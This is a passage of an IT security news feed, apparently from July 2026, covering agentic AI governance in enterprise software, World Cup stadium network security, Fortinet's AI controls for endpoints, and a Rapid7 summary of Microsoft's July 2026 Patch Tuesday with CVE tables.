<p class="wp-block-paragraph">Governance, observability, and lifecycle management matter more to CIOs after agentic applications move into production, Kramer echoed.</p>



<h2 class="wp-block-heading">Governance gains come with strategic trade-offs</h2>



<p class="wp-block-paragraph">The approach of building and running agentic applications natively inside Oracle Fusion, though, is not without trade-offs, analysts cautioned.</p>



<p class="wp-block-paragraph">CIOs should pay close attention to vendor lock-in as more business processes become agentic, Bickley pointed out.</p>



<p class="wp-block-paragraph">“In the case of Oracle Fusion, ensure the ATLAS framework provides an accurate validation layer at a low cost of overhead. Consider the levers that Oracle may avail itself of contractually or commercially in the future,” Bickley said.</p>



<p class="wp-block-paragraph">“ROI should be modeled against a progressive monetization schema as AI agents operate upon a consumption-based infrastructure.  As such, ensure provisions limiting cost overlays and uplifts are agreed upon prior to locking in,” Bickley added.</p>



<p class="wp-block-paragraph">These considerations, the analyst further added, are becoming increasingly relevant because most enterprise software vendors, including the likes of SAP and ServiceNow, are introducing offerings and features to become the runtime and orchestration layer for enterprise AI.</p>



<p class="wp-block-paragraph">Earlier in May, SAP <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">expanded its AI strategy</a> with the Autonomous Enterprise vision, introducing a unified Business AI Platform, Joule Studio 2.0, and AI Agent Hub to let enterprises build, govern, and run AI agents within a managed runtime.</p>



<p class="wp-block-paragraph">In June, ServiceNow expanded its <a href="https://www.cio.com/article/4167410/servicenow-continues-its-ai-transformation-with-an-integrated-experience.html">AI transformation</a> by adding new features to its Context Engine and <a href="https://www.networkworld.com/article/3978731/servicenow-launches-ai-agent-command-center-communication-backbone.html?_conv_v=vi:1*sc:1*cs:1784016915*fs:1784016915*pv:2*exp:%7B1004203305.%7Bv.1004477672-g.%7B%7D%7D%7D*seg:%7B%7D&amp;_conv_s=null&amp;_conv_r=s:chatgpt.com*m:ai%20tool*t:*c:&amp;_conv_sptest=null">AI Control Tower</a>, in order to better embed governance, enterprise context, and observability into AI workflows across enterprise systems.</p>



<p class="wp-block-paragraph">During the same month, Salesforce, via its Informatica acquisition, <a href="https://www.cio.com/article/4175896/salesforce-extends-its-headless-push-into-enterprise-data-via-informatica.html">added features to tie AI agents more closely</a> to trusted enterprise data and operational workflows.</p>



<p class="wp-block-paragraph">For developers and enterprises willing to try out the new CLI-based experience, it can be accessed from within the Studio without any additional cost, Oracle said.</p>



<p class="wp-block-paragraph">The company is also adding a public GitHub repository that it said will provide templates, starter projects, sample applications, reusable assets, and reference architectures to help developers build and validate agentic applications faster.</p>
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<title><![CDATA[CyCon 2026: Securing Tomorrow]]></title>
<description><![CDATA[Author: natoccdcoe - Bewertung: 0x - Views:3 Each year, around 800 decision-makers, opinion leaders, and law and technology experts from government, the military, academia, and industry across nearly 50 countries meet at CyCon to address current cybersecurity challenges through an interdisciplina...]]></description>
<link>https://tsecurity.de/de/3670657/it-security-video/cycon-2026-securing-tomorrow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670657/it-security-video/cycon-2026-securing-tomorrow/</guid>
<pubDate>Wed, 15 Jul 2026 14:33:24 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: natoccdcoe - Bewertung: 0x - Views:3 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/qZHQ8Dk8VhM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Each year, around 800 decision-makers, opinion leaders, and law and technology experts from government, the military, academia, and industry across nearly 50 countries meet at CyCon to address current cybersecurity challenges through an interdisciplinary approach.<br />
<br />
While this year's CyCon is behind us, we hope to welcome you back to Tallinn next year for the 19th International Conference on Cyber Conflict, themed "Unified Response", taking place from 25 to 28 May 2027.<br />
<br />
Follow the latest updates on the CyCon website: https://cycon.org<br/></p>]]></content:encoded>
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<title><![CDATA[When 80,000 fans log on at once: The 2026 World Cup’s unique cybersecurity issues]]></title>
<description><![CDATA[With the World Cup in full swing, stadiums across North America are currently accommodating thousands of fans every match day. That said, the stadiums’ biggest security challenge isn’t of a physical nature.



It is not hyperbolic to say that football stadiums are some of the most chaotic endpoin...]]></description>
<link>https://tsecurity.de/de/3670247/it-security-nachrichten/when-80000-fans-log-on-at-once-the-2026-world-cups-unique-cybersecurity-issues/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670247/it-security-nachrichten/when-80000-fans-log-on-at-once-the-2026-world-cups-unique-cybersecurity-issues/</guid>
<pubDate>Wed, 15 Jul 2026 12:08:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">With the World Cup in full swing, stadiums across North America are currently accommodating thousands of fans every match day. That said, the stadiums’ biggest <a href="https://www.networkworld.com/article/731234/security-world-cup-security-preparing-for-the-unexpected.html"></a>security challenge isn’t of a physical nature.</p>



<p class="wp-block-paragraph">It is not hyperbolic to say that football stadiums are some of the most chaotic endpoint environments in enterprise IT. On game days, tens of thousands of unmanaged, unknown devices connect to <a href="https://stadiumtechreport.com/editorial/stadium-networks-are-about-to-get-more-complicated/"></a>stadium networks, alongside payment systems, digital displays, operations platforms and venue staff devices. This creates a massive attack surface with a potential for serious disruptions, such as payment outages at concessions, delays in live streaming and interruptions to other venue operations.</p>



<p class="wp-block-paragraph">In this article, we’ll examine the World Cup stadiums’ unique cyber environments, while also providing steps that venues can take to harden their connectivity and ensure that their networks are protected.</p>



<h2 class="wp-block-heading">For World Cup stadiums, real-time visibility is far more important than device control</h2>



<p class="wp-block-paragraph">Given that stadiums like Dallas’s AT&amp;T Stadium, Mexico City’s Estadio Azteca and New Jersey’s MetLife Stadium can all accommodate over 80,000 soccer fans per game, it is impossible to control all these fans’ devices. Hence, network segmentation and real-time visibility are key. <strong></strong></p>



<p class="wp-block-paragraph">The fan-device layer obviously must remain entirely separate from the payment systems and operational infrastructure. All fan devices need to be relegated to the public WiFi, and treated as hostile by default. Although this segmentation is technically a form of device control, real-time visibility is truly the only way to maintain a <a href="https://insights.manageengine.com/it-security/zero-trust-maturity-model/"></a>Zero Trust environment within these stadiums.</p>



<h2 class="wp-block-heading">Continuous monitoring across networks, endpoints and identity systems is vital</h2>



<p class="wp-block-paragraph">To achieve a Zero Trust architecture inside these massive football venues, it is important to have identity-centric zero-trust solutions firmly in place. <em></em></p>



<p class="wp-block-paragraph">With so many vendors, stadium personnel and operations workers requiring different levels of access to different systems, a robust identity security solution is crucial. All <a href="https://redmondmag.com/articles/2026/07/08/why-the-2026-world-cup-is-becoming-a-cybersecurity-stress-test.aspx">modern football stadiums</a> require adaptive MFA, single sign-on, and conditional access based on users’ roles, locations, time of access request and device type. <em></em></p>



<p class="wp-block-paragraph">Without a robust identity access tool in place, a bad actor could compromise a single user’s credentials and gain access to payment systems or other operational technologies within the stadium.<em></em></p>



<p class="wp-block-paragraph">Besides an effective identity security tool, stadiums require network visibility and endpoint protection. All operational endpoints inside the arenas, including point-of-sale terminals, digital displays and staff devices, need to be managed and monitored via a robust endpoint management platform. With such a tool, IT teams can correlate telemetry across all network activity, which helps them to isolate compromised devices before a bad actor can execute malicious lateral movements.</p>



<p class="wp-block-paragraph">With real-time traffic visibility, IT personnel can detect anomalies, monitor network performance across all segments and receive alerts whenever unusual traffic patterns emerge. Although stadiums can’t control 80,000 fan devices per se, empowered IT workers can observe everything from the network level.</p>



<h2 class="wp-block-heading">Automation can help to ensure timely patching and audit readiness</h2>



<p class="wp-block-paragraph">A unified log management and security analytics tool is vital in the World Cup setting. During a high-stakes event like the World Cup, SIEM platforms pull real-time logs from all the devices, endpoints, applications on the network.<strong></strong></p>



<p class="wp-block-paragraph">By using an effective patch management software in conjunction with a SIEM platform with automated alerts, stadium IT personnel can automatically patch hundreds of endpoints, while also accelerating incident response time.</p>



<p class="wp-block-paragraph">The very best SIEM tools will also use behavioral analytics to conduct real-time threat detection; if any anomalous activity is flagged on the network, automated alerts are triggered and incident response workflows will commence.</p>



<p class="wp-block-paragraph">SIEM tools also help when it comes to building out compliance reports and maintaining audit readiness. The IT departments inside these enormous football stadiums require a host of different <a href="https://www.csoonline.com/article/4108294/implementing-nis2-without-ending-up-in-a-paper-war.html"></a>compliance reporting capabilities, including PCI-DSS for stadium payment systems, SOC 2 compliance for third-party vendors handling fan data, ticketing and other operations, as well as <a href="https://www.networkworld.com/article/965408/are-you-ready-for-the-gdpr-in-may.html">GDPR compliance</a> for loyalty programs, identity verification, WiFi registration and any biometric data captured within the stadium.</p>



<h2 class="wp-block-heading">Key steps that stadium IT personnel should take during the World Cup</h2>



<p class="wp-block-paragraph">Firstly, a Zero Trust environment should be maintained inside all the stadiums. The 2026 World Cup contains far more integrated technologies than ever before. Today’s in-stadium technologies are borderline futuristic; referees wear <a href="https://www.wired.com/story/world-cup-referee-body-cameras-live/"></a>body cameras, and there is even motion sensors embedded inside all <a href="https://inside.fifa.com/innovation/innovating-the-game/connected-ball-technology"></a>World Cup game balls. Given this ultra-high-tech environment, all users, APIs and devices need to be continuously authenticated and treated as hostile-by-default.</p>



<p class="wp-block-paragraph">Secondly, in such a high-stakes, highly integrated environment, real-time monitoring and centralized visibility is crucial. With centralized visibility across the network, IT personnel can effectively conduct deep traffic flow analyses, identifying which devices are attempting to communicate with which systems. This way, all lateral movement attempts can be identified, and any fan-device that tries to reach a payment or operational technology segment can be flagged.</p>



<p class="wp-block-paragraph">Thirdly, IT teams should conduct incident simulations. Given the complex environment of broadcasting infrastructure, digital ticketing systems, POS, WiFi and commercial cellular networks, it is vital that IT personnel test their incident response processes to ensure they avoid service disruptions and prevent data leaks during matches.</p>



<h2 class="wp-block-heading">The bottom line: The 2026 World Cup stadiums require robust cybersecurity solutions</h2>



<p class="wp-block-paragraph">From a cybersecurity perspective, <a href="https://www.cio.com/article/4190097/the-ai-selected-to-give-the-fifa-world-cup-an-edge.html"></a>the 2026 World Cup is a unique event. With matches taking place across sixteen different cities in three different countries (not to mention the currently heightened geopolitical tensions), there is a strong potential for state-backed cybercriminals and hacktivist groups to target stadium infrastructure.<br>It is vital that stadium IT personnel are equipped with adequate cyber solutions, including robust SIEM, IAM, patch management and network management tools. There’s no reason to give bad actors a free kick.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Fortinet adds AI controls and data loss prevention to FortiEndpoint]]></title>
<description><![CDATA[Fortinet has announced new capabilities for its unified endpoint platform, FortiEndpoint, designed to help organizations securely adopt AI, protect sensitive data, and reduce risk. By bringing AI visibility and control, native data security, endpoint risk scoring, and FortiAI-assisted operations ...]]></description>
<link>https://tsecurity.de/de/3669927/it-security-nachrichten/fortinet-adds-ai-controls-and-data-loss-prevention-to-fortiendpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669927/it-security-nachrichten/fortinet-adds-ai-controls-and-data-loss-prevention-to-fortiendpoint/</guid>
<pubDate>Wed, 15 Jul 2026 09:53:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fortinet has announced new capabilities for its unified endpoint platform, FortiEndpoint, designed to help organizations securely adopt AI, protect sensitive data, and reduce risk. By bringing AI visibility and control, native data security, endpoint risk scoring, and FortiAI-assisted operations into FortiEndpoint, Fortinet enables security teams to better govern AI usage, reduce sensitive data exposure, enforce risk-aware access, and simplify security operations across distributed environments. “Organizations need a simpler and more effective way to manage security … <a href="https://www.helpnetsecurity.com/2026/07/15/fortinet-fortiai-assist/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/15/fortinet-fortiai-assist/">Fortinet adds AI controls and data loss prevention to FortiEndpoint</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Fortinet adds AI protections to endpoint security platform]]></title>
<description><![CDATA[Fortinet has added AI visibility and control capabilities to its endpoint security package to help enterprises better govern AI usage, reduce data exposure, and simplify security operations. 



The vendor’s FortiEndpoint platform integrates antivirus, endpoint detection and response, VPN, zero t...]]></description>
<link>https://tsecurity.de/de/3669208/it-security-nachrichten/fortinet-adds-ai-protections-to-endpoint-security-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669208/it-security-nachrichten/fortinet-adds-ai-protections-to-endpoint-security-platform/</guid>
<pubDate>Wed, 15 Jul 2026 00:23:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Fortinet has added AI visibility and control capabilities to its endpoint security package to help enterprises better govern AI usage, reduce data exposure, and simplify security operations. </p>



<p class="wp-block-paragraph">The vendor’s FortiEndpoint platform integrates antivirus, endpoint detection and response, VPN, zero trust network access, vulnerability management, and data protection. It feeds into Fortinet’s overall <a href="https://www.networkworld.com/article/2077650/fortinet-grows-integrated-network-security-platform-with-expansive-management-ai-features.html">Security Fabric</a> system to improve enterprise threat detection and response and simplify endpoint management and security policies, according to the company.</p>



<p class="wp-block-paragraph">With the new release, FortiEndpoint gains improved AI visibility and controls, integrated data loss prevention, and a natural language-based AI agent to help security teams generate investigation summaries, identify high-risk devices, and troubleshoot issues.</p>



<p class="wp-block-paragraph">“FortiEndpoint provides centralized visibility into AI applications and agents operating across managed endpoints. Security teams can identify sanctioned and unsanctioned tools, detect shadow AI, monitor adoption trends, and understand user activity through unified dashboards,” wrote <a href="https://www.linkedin.com/in/agupta27/">Ankit Gupta</a>, product and marketing leader for Fortinet, in a <a href="https://www.fortinet.com/blog/security-operations/fortiendpoint-expands-security-for-the-ai-era">blog post</a> about the enhancements. </p>



<p class="wp-block-paragraph">“Organizations can’t govern AI instances they can’t see. As employees increasingly rely on a growing number of AI assistants, coding copilots, autonomous AI agents, and browser-based AI services, security teams need visibility into which tools are being used, who is using them, and whether those applications comply with corporate policy,” Gupta wrote.</p>



<p class="wp-block-paragraph">In addition, FortiEndpoint natively supports data loss prevention (DLP) by automatically inspecting sensitive business data exchanged with AI applications, agents, and web services. Built-in user coaching provides real-time policy guidance to help users understand acceptable AI usage and reduce risky behaviors without impacting productivity, Gupta stated.</p>



<p class="wp-block-paragraph">This feature helps prevent the leakage of sensitive data such as personally identifiable information, intellectual property, and financial information directly at the endpoint. By integrating DLP into FortiEndpoint, organizations can safely adopt AI while maintaining stronger data security and compliance controls without adding another point product or management layer, according to Fortinet.</p>



<p class="wp-block-paragraph">Lastly, the vendor has built a FortiAI-Assist agent into FortiEndpoint to simplify administration and accelerate day-to-day operations. The agent can provide contextual insights, policy recommendations, and risk guidance to help customers strengthen governance, prioritize threats, scale threat hunting, and improve efficiency through a unified management experience, according to Fortinet.</p>



<p class="wp-block-paragraph">These assisted workflows are complemented by adaptive zero-trust capabilities with dynamic risk and compliance scoring. </p>



<p class="wp-block-paragraph">“By continuously assessing endpoint health, compliance status, and risk posture, FortiEndpoint helps organizations make access decisions based on real-time context, so access to AI applications and protected resources can be adjusted as risk changes,” Fortinet stated. “This helps organizations reduce exposure, enforce more consistent policy, and safely support AI-enabled work.”</p>



<p class="wp-block-paragraph">“Delivering these capabilities through FortiEndpoint gives customers a practical way to manage AI risk with the same agent and license they already rely on for endpoint security” said Chris DePuy, technology analyst at 650 Group, in a <a href="http://url.usb.m.mimecastprotect.com/s/cZaOC6Yw0wtQ4P4qIpfGf5bFPV?domain=fortinet.com">statement</a>.</p>



<p class="wp-block-paragraph">The FortiEndpoint enhancements are expected in Q3 2026.</p>
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<title><![CDATA[Patch Tuesday - July 2026]]></title>
<description><![CDATA[Microsoft is publishing 622 vulnerabilities on July 2026 Patch Tuesday, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for on...]]></description>
<link>https://tsecurity.de/de/3669204/it-security-nachrichten/patch-tuesday-july-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669204/it-security-nachrichten/patch-tuesday-july-2026/</guid>
<pubDate>Wed, 15 Jul 2026 00:23:40 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>Microsoft is publishing 622 vulnerabilities on </span><a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul"><span>July 2026 Patch Tuesday</span></a><span>, including a record-breaking 416 Windows vulnerabilities. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today, both of which are listed on CISA KEV, as well as public disclosure for one other. As usual, browser vulns are not included in the Patch Tuesday count above. Rapid7 </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-june-2026/"><span>noted</span></a><span> last month that Microsoft no longer enumerates Chromium CVEs in the Security Update Guide. However, Microsoft has now taken the pursuit of minimalism much further, since today’s Security Update Guide no longer lists out even Microsoft vulnerabilities! Instead, we now receive a summary table of vulnerability counts by product family, as well as a new slimline “Notable CVEs” section. All of this only serves to illustrate the recent industry-wide trend of exploding vulnerability report counts, with an associated uptick in the publication of remediations as a trailing indicator.</span></p><h3><span>SharePoint: critical auth bypass by Rapid7</span></h3><p><span>Today sees the publication of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a><span>, a critical authentication bypass in Microsoft SharePoint. </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/"><span>Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer</span></a><span>, and published today in coordination with Microsoft, this vulnerability is the first in a pair of exploits which, when chained together, can lead to unauthenticated remote code execution against a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. As the full </span><a href="https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/"><span>Rapid7 blog post</span></a><span> sets out, the second vulnerability in the full RCE chain remains embargoed for now, with Microsoft expected to publish patches for that second vulnerability as part of Patch Tuesday August 2026. Microsoft noted: “We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”</span></p><h3><span>SharePoint: zero-day EoP</span></h3><p><span>It’s a rare Patch Tuesday which doesn’t include multiple SharePoint fixes, and today is no exception. Microsoft is aware of existing in-the-wild exploitation of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a><span>, where successful exploitation allows an attacker to elevate privileges over a network, with no existing privileges required, and low attack complexity since “an attacker does not require significant prior knowledge of the system, and can achieve repeatable success”. This is as good an example as any that a relatively low CVSS v3 base score (5.3) may be an imperfect signal concealing something much spicier, and Microsoft acknowledges that possibility by assigning a severity rating of Important. Microsoft certainly intended to list CVE-2026-56164 in the new Notable CVEs section of the Security Update Guide instead of erroneously listing CVE-2026-56155 twice, and it’s likely that this will be corrected shortly.</span></p><h3><span>What’s the opposite of coordinated disclosure?</span></h3><p><span>After years of relative stability, the Patch Tuesday process has experienced significant turbulence so far in 2026. As well as the AI-fuelled exponential growth of vulnerability reporting and discovery, Microsoft is grappling with the emergence of a series of vulnerabilities disclosed in such a way as to </span><a href="https://www.rapid7.com/blog/post/em-patch-tuesday-june-2026/#what-s-the-opposite-of-coordinated-disclosure"><span>bring maximum discomfort for Redmond</span></a><span>. Pseudonymous researcher Nightmare Eclipse dropped another Defender elevation of privilege vulnerability in the hours following Patch Tuesday June 2026, which Microsoft subsequently published and patched as </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50656"><span>CVE-2026-50656</span></a><span>, along with a terse acknowledgement of the vulnerability’s celebrity nickname of RoguePlanet. Recently, Nightmare Eclipse has given conflicting estimates of what sort of surprises Microsoft can expect today, as well as claiming that the CVE-2026-50656 patches introduce a new avenue for a disk exhaustion attack. Today,  a new proof of concept for a further vulnerability nicknamed LegacyHive has emerged from the same source, which appears to allow a non-privileged user to mount another user’s user hive.</span></p><p><span>Microsoft BitLocker receives patches today for a publicly-known security feature bypass vulnerability. The advisory for </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a><span> explains that an unauthorized attacker with physical access to the target machine can bypass Windows BitLocker. While Microsoft doesn’t confirm either way, it’s very probable that this is a patch for the GreatXML vulnerability which Nightmare Eclipse announced the day after Patch Tuesday June 2026.</span></p><h3><span>Active Directory Federation Services: zero-day EoP</span></h3><p><span>Active Directory administrators should note the emergence today of </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a><span>, an exploited-in-the-wild elevation of privilege vulnerability in Active Directory Federation Services which allows an authorized attacker to elevate privileges locally. Eight other vulnerabilities are also published today in Active Directory Federation Services, all ranked as Important on Microsoft’s proprietary severity ranking scale. The advisory doesn’t explicitly describe the location of the attacker, but it’s likely that an attacker would need an existing toehold on the target system to chain together with the elevation of privilege opportunity on offer here.</span></p><h3><span>Age of Empires II: RCE</span></h3><p><span>Historically, Patch Tuesday hasn’t seen too many security patches for video games. However, Age of Empires II: Definitive Edition is a new entrant to the Microsoft CVE roster today. Veteran AoE2 players may well be familiar with dangerous opposition early game strategies such as the Persian Town Center nuisance or the Aztec monk rush, but anyone who opens a malicious game scenario file without applying the patch for </span><a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a><span> might suffer a serious defeat. Successful exploitation allows an attacker to place malicious files in unexpected locations, potentially enabling code execution on the target system.</span></p><h3><span>Microsoft lifecycle update</span></h3><p><span>As Rapid7 noted last month, there are some significant Microsoft product lifecycle changes taking place in mid-July. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016?branch=live"><span>SQL Server 2016</span></a><span> moves beyond regular extended support and into the pay-to-play Extended Security Updates (ESU) phase from July 15, 2026, and its older sibling </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2014"><span>SQL Server 2014</span></a><span> moves into the third and final year of ESU. Also on July 14, 2026, SharePoint Server </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016?branch=live"><span>2016</span></a><span> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019?branch=live"><span>2019</span></a><span> reach extended end date, and since there’s no ESU available, the only remaining option for fully-supported self-hosted SharePoint after today is SharePoint Subscription Edition. The July 2026 lifecycle casualties continue with Project Server </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016"><span>2016</span></a><span> and </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2019"><span>2019</span></a><span>, Dynamics GP 2016 and 2016 R2, InfoPath 2013, and SharePoint Designer 2013, which also all reach their Extended End Dates, ending their supported lifecycles. </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/visual-studio-2022"><span>Visual Studio 2022</span></a><span> Version 17.12 Long-Term Servicing Channel (LTSC) reaches its release end date on July 14, leaving either the Visual Studio 2022 current channel or an upgrade to </span><a href="https://learn.microsoft.com/en-us/lifecycle/products/visual-studio-2026"><span>Visual Studio 2026</span></a><span> as supported options.</span></p><h2>Summary charts</h2><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt713c90fe7ac2ee36/6a56abaed651c58a33f6a35f/2026-07-vuln_count_impact.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_impact.png" asset-alt="2026-07-vuln_count_impact.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt713c90fe7ac2ee36/6a56abaed651c58a33f6a35f/2026-07-vuln_count_impact.png" data-sys-asset-uid="blt713c90fe7ac2ee36" data-sys-asset-filename="2026-07-vuln_count_impact.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_impact.png" sys-style-type="display"></figure><p></p><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d9561caa572afc2/6a56abaeade6f578106e6309/2026-07-vuln_count_component.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_component.png" asset-alt="2026-07-vuln_count_component.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7d9561caa572afc2/6a56abaeade6f578106e6309/2026-07-vuln_count_component.png" data-sys-asset-uid="blt7d9561caa572afc2" data-sys-asset-filename="2026-07-vuln_count_component.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_component.png" sys-style-type="display"></figure><p></p><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt97027ef7516a12a3/6a56ad5a32a61e5978145861/2026-07-vuln_count_impact-component-heatmap.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="2026-07-vuln_count_impact-component-heatmap.png" asset-alt="2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt97027ef7516a12a3/6a56ad5a32a61e5978145861/2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-uid="blt97027ef7516a12a3" data-sys-asset-filename="2026-07-vuln_count_impact-component-heatmap.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="2026-07-vuln_count_impact-component-heatmap.png" sys-style-type="display"></figure><p></p><h2>Summary tables</h2><p></p><h3>Apps vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58617">CVE-2026-58617</a></td><td><p>M365 Copilot for iOS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58595">CVE-2026-58595</a></td><td><p>Microsoft Bing App for IOS Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-48561">CVE-2026-48561</a></td><td><p>Microsoft Copilot Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58636">CVE-2026-58636</a></td><td><p>Microsoft PC Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50438">CVE-2026-50438</a></td><td><p>Microsoft PC Manager Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h3>Azure vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50652">CVE-2026-50652</a></td><td><p>Azure Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50653">CVE-2026-50653</a></td><td><p>Azure Active Directory Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57969">CVE-2026-57969</a></td><td><p>Azure CycleCloud Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58279">CVE-2026-58279</a></td><td><p>Azure CycleCloud Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47632">CVE-2026-47632</a></td><td><p>Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50338">CVE-2026-50338</a></td><td><p>Azure Spring Apps Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr></tbody></table><h3>Developer Tools vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-47302">CVE-2026-47302</a></td><td><p>.NET Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a 